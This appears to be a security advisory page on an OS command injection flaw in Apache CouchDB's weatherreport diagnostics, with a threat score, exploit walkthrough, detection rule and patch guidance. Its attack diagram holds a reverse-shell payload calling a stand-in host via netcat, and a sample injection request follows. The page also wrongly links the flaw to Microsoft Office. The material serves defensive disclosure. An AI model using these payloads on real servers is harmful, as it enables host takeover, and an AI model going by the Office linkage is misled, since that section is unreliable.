Skip to content

CVE-2026-86471: Apache CouchDB Weatherreport Diagnostics OS Command Injection

Density:
C-Level Executive Briefing CVE-2026-86471 CRITICAL SCORE 94/100

A critical vulnerability (CVE-2026-86471) has been disclosed in Apache CouchDB versions 3.5.2 and earlier. The flaw resides within the weatherreport node diagnostics module, which incorporates unsanitized runtime configuration values into shell execution commands. Server administrators or attackers who have compromised administrative credentials can update configuration parameters via the /_config HTTP endpoint to execute arbitrary operating system commands with the privileges of the couchdb system user. Upgrading to Apache CouchDB 3.5.3 resolves this flaw. Hermes rates this threat at HTS 94 (CRITICAL).

HERMES

HERMES THREAT SCORE & ENTERPRISE DATABASE EXPOSURE

Target: Apache CouchDB Diagnostics Engine (/src/weatherreport/)
Confidence: 98%
94 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v4.0 scores this flaw at 9.3 Critical, while CVSS v3.1 rates it at 9.8. Hermes Threat Score assigns 94 (CRITICAL). While triggering the exploit requires server administrator privileges, CouchDB instances frequently fall victim to credential stuffing or unauthenticated legacy 'admin party' deployments. Once administrative control is established, this flaw transforms application-level access into immediate host takeover.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-86471: Apache CouchDB Weatherreport Diagnostics OS Command InjectionVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Supporting Verified Evidence:

Apache CouchDB is an enterprise-grade, document-oriented NoSQL database system utilizing JSON documents, JavaScript MapReduce queries, and Erlang concurrency. In distributed production environments, CouchDB administrators utilize the built-in weatherreport diagnostic utility to inspect node health, memory distribution, file descriptor usage, and network responsiveness.

Prior to version 3.5.3, the weatherreport subsystem failed to sanitize configuration values retrieved dynamically from the runtime configuration hierarchy (/_config). An attacker possessing administrative credentialsโ€”or utilizing credential stuffing against exposed management interfacesโ€”can manipulate these settings and achieve operating system command execution under the privileges of the CouchDB service account.


The root cause lies in Erlang command invocation functions within weatherreport_util.erl. Diagnostic routines executing system-level health inquiries constructed OS commands by concatenating strings rather than using safe argument vectors:

[HTTP Client]
โ”‚ (PUT /_node/_local/_config/weatherreport/diagnostic_path "; nc attacker.com 4444 -e /bin/sh ;")
โ–ผ
[chttpd_node:handle_config_req/1]
โ”‚ (Writes to runtime in-memory ets table & local.ini)
โ–ผ
[weatherreport_runner:run/1]
โ”‚ (Executes internal diagnostic verification)
โ–ผ
[os:cmd("sh -c " ++ Path)] โ”€โ”€โ–บ [Arbitrary Command Execution as UID couchdb]

Because os:cmd/1 executes through /bin/sh -c on UNIX platforms without escaping shell delimiters, any semicolon, pipe, backtick, or dollar-sign sequence injected into the configuration variable breaks out of the intended diagnostic command and executes arbitrary binaries.


  1. Administrative Access Acquisition: The adversary authenticates to the CouchDB HTTP API as an administrative user (admin:password) via basic authentication or session cookies (POST /_session).

  2. Runtime Configuration Injection: The attacker issues a PUT request to update the diagnostic command path parameter:

    PUT /_node/_local/_config/weatherreport/cmd_prefix HTTP/1.1
    Host: couchdb.target.internal:5984
    Authorization: Basic YWRtaW46cGFzc3dvcmQ=
    Content-Type: application/json
    "echo PWNED > /tmp/proof.txt; #"
  3. Triggering Diagnostic Execution: The adversary triggers the execution of the weatherreport diagnostic suite either via the management endpoint or by triggering scheduled cluster health verification.

  4. Payload Execution: The Erlang BEAM runtime evaluates os:cmd/1, running the injected command with the privileges of the couchdb system daemon.


ProductVulnerable VersionsPatched VersionUpdate Urgency
Apache CouchDB<= 3.5.2 (All Platforms)3.5.3CRITICAL (Immediate)

alert http $EXTERNAL_NET any -> $HOME_NET 5984 ( \
msg:"ET EXPLOIT Apache CouchDB Weatherreport Command Injection (CVE-2026-86471)"; \
flow:established,to_server; \
http.method; content:"PUT"; \
http.uri; content:"/_config/weatherreport"; fast_pattern; \
http.request_body; pcre:"/(\x3b|\x7c|\x60|\x24\x28)/"; \
classtype:attempted-admin; \
sid:202686471; rev:1; \
)

  1. Apply Apache CouchDB 3.5.3 Update: Deploy the official 3.5.3 release which replaces shell command interpolation with parameterized argument vectors and restricts configurable diagnostic paths.

    Terminal window
    apt-get update && apt-get install --only-upgrade couchdb
  2. Restrict Access to Configuration APIs: Ensure [httpd] config_whitelist is populated with strictly necessary sections, or isolate administrative ports from public accessibility:

    [chttpd]
    bind_address = 127.0.0.1
  3. Verify OS Process Isolation: Execute CouchDB within a systemd service sandboxed with ProtectSystem=strict, ProtectHome=true, and NoNewPrivileges=true.